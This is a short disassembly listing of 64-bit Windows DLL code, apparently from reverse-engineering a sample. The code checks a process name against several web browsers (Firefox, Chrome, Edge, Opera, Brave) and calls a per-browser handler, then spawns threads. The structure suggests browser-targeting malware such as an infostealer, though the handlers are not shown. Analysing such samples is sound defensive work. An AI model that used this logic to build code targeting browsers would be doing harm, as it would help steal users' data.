call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1800076ec
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b148
call fcn.180006974
call fcn.180018e8c
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b166
call fcn.180006974
call fcn.18000d794
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b184
call fcn.180006974
call fcn.18000d9bc
lea rdx, str.opera.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b1a2
call fcn.180006974
call fcn.18000dbdc
lea rdx, str.brave.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b1c0
call fcn.180006974
call fcn.18000d794
lea rdx, str.browser.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b1e0
call fcn.180006974
call fcn.18000d794
jmp 0x18001b203
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x1800304ee]
lea r8, [0x180015d54]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
add rsp, 0x140
pop rbx
ret